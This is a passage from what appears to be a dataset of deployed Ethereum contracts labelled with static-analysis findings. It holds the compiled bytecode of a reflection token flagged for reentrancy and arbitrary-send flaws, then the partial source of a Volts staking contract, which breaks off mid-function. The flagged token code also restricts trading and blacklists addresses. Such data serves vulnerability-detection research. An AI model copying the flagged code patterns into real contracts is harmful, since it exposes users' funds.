f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f2565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127dc90919063ffffffff16565b61286290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfe6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d926025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb16023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d696029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f057601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8557601454811115611ed757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120305750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120865750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209e5750601360179054906101000a900460ff165b156121365742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ee57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214130610ae2565b9050601360159054906101000a900460ff161580156121ae5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c65750601360169054906101000a900460ff165b156121ee576121d4816124f2565b600047905060008111156121ec576121eb47612373565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a157600090505b6122ad848484846128ac565b50505050565b6000838311158290612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561232557808201518184015260208101905061230a565b50505050905090810190601f1680156123525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c360028461286290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ee573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243f60028461286290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246a573d6000803e3d6000fd5b5050565b6000600a548211156124cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd4602a913960400191505060405180910390fd5b60006124d5612b03565b90506124ea818461286290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252757600080fd5b506040519080825280602002602001820160405280156125565781602001602082028036833780820191505090505b509050308160008151811061256757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260957600080fd5b505afa15801561261d573d6000803e3d6000fd5b505050506040513d602081101561263357600080fd5b81019080805190602001909291905050508160018151811061265157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277c578082015181840152602081019050612761565b505050509050019650505050505050600060405180830381600087803b1580156127a557600080fd5b505af11580156127b9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ef576000905061285c565b600082840290508284828161280057fe5b0414612857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d206021913960400191505060405180910390fd5b809150505b92915050565b60006128a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2e565b905092915050565b806128ba576128b9612bf4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129725761296d848484612c37565b612aef565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a155750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2a57612a25848484612e97565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae157612adc8484846130f7565b612aed565b612aec8484846133ec565b5b5b5b80612afd57612afc6135b7565b5b50505050565b6000806000612b106135cb565b91509150612b27818361286290919063ffffffff16565b9250505090565b60008083118290612bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9f578082015181840152602081019050612b84565b50505050905090810190601f168015612bcc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be657fe5b049050809150509392505050565b6000600c54148015612c0857506000600d54145b15612c1257612c35565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4987613878565b955095509550955095509550612ca787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1d816139b2565b612e278483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea987613878565b955095509550955095509550612f0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307d816139b2565b6130878483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310987613878565b95509550955095509550955061316787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613372816139b2565b61337c8483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fe87613878565b95509550955095509550955061345c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353d816139b2565b6135478483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382d5782600260006009848154811061360557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136ec575081600360006009848154811061368457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370a57600a54683635c9adc5dea0000094509450505050613874565b613793600260006009848154811061371e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138e090919063ffffffff16565b925061381e60036000600984815481106137a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138e090919063ffffffff16565b915080806001019150506135e6565b5061384c683635c9adc5dea00000600a5461286290919063ffffffff16565b82101561386b57600a54683635c9adc5dea00000935093505050613874565b81819350935050505b9091565b60008060008060008060008060006138958a600c54600d54613b91565b92509250925060006138a5612b03565b905060008060006138b88e878787613c27565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b3565b905092915050565b6000808284019050838110156139a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bc612b03565b905060006139d382846127dc90919063ffffffff16565b9050613a2781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5257613b0e83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6c82600a546138e090919063ffffffff16565b600a81905550613b8781600b5461392a90919063ffffffff16565b600b819055505050565b600080600080613bbd6064613baf888a6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613be76064613bd9888b6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613c1082613c02858c6138e090919063ffffffff16565b6138e090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c4085896127dc90919063ffffffff16565b90506000613c5786896127dc90919063ffffffff16565b90506000613c6e87896127dc90919063ffffffff16565b90506000613c9782613c8985876138e090919063ffffffff16565b6138e090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e04baa371563d8c81ffb8b9c0a8e22ac394efd41483045a3f0b0c240b6a4435164736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 121 |
0xae7dc092edd23878f6a8c83661b2c8ef6adb2102 | /*
website: volts.finance
______ __
/ \ / |
/$$$$$$ |$$ |____ _____ ____ _______
$$ | $$ |$$ \ / \/ \ / |
$$ | $$ |$$$$$$$ |$$$$$$ $$$$ |/$$$$$$$/
$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ \
$$ \__$$ |$$ | $$ |$$ | $$ | $$ | $$$$$$ |
$$ $$/ $$ | $$ |$$ | $$ | $$ |/ $$/
$$$$$$/ $$/ $$/ $$/ $$/ $$/ $$$$$$$/
LP token and VOLTS staking contract of the Volts-Ecosystem
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface StakedToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface OHMS {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256);
function tokenFromReflection(uint256 rAmount) external view returns(uint256);
}
contract Staking is Ownable {
struct User {
uint256 depositAmount;
uint256 paidReflection;
}
using SafeMath for uint256;
mapping (address => User) public users;
uint256 public reflectionTillNowPerToken = 0;
uint256 public lastUpdatedBlock;
uint256 public rewardPerBlock;
uint256 public totalOhmsReward = 0;
StakedToken public stakedToken;
OHMS public ohms;
event Deposit(address user, uint256 amount);
event Withdraw(address user, uint256 amount);
event EmergencyWithdraw(address user, uint256 amount);
event RewardClaimed(address user, uint256 amount);
event RewardPerBlockChanged(uint256 oldValue, uint256 newValue);
constructor (address _stakedToken, address _OHMS, uint256 _rewardPerBlock) public {
stakedToken = StakedToken(_stakedToken);
ohms = OHMS(_OHMS);
rewardPerBlock = _rewardPerBlock;
lastUpdatedBlock = block.number;
}
// Returns the amount of OHMS rewarded to stakers per block
function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {
update();
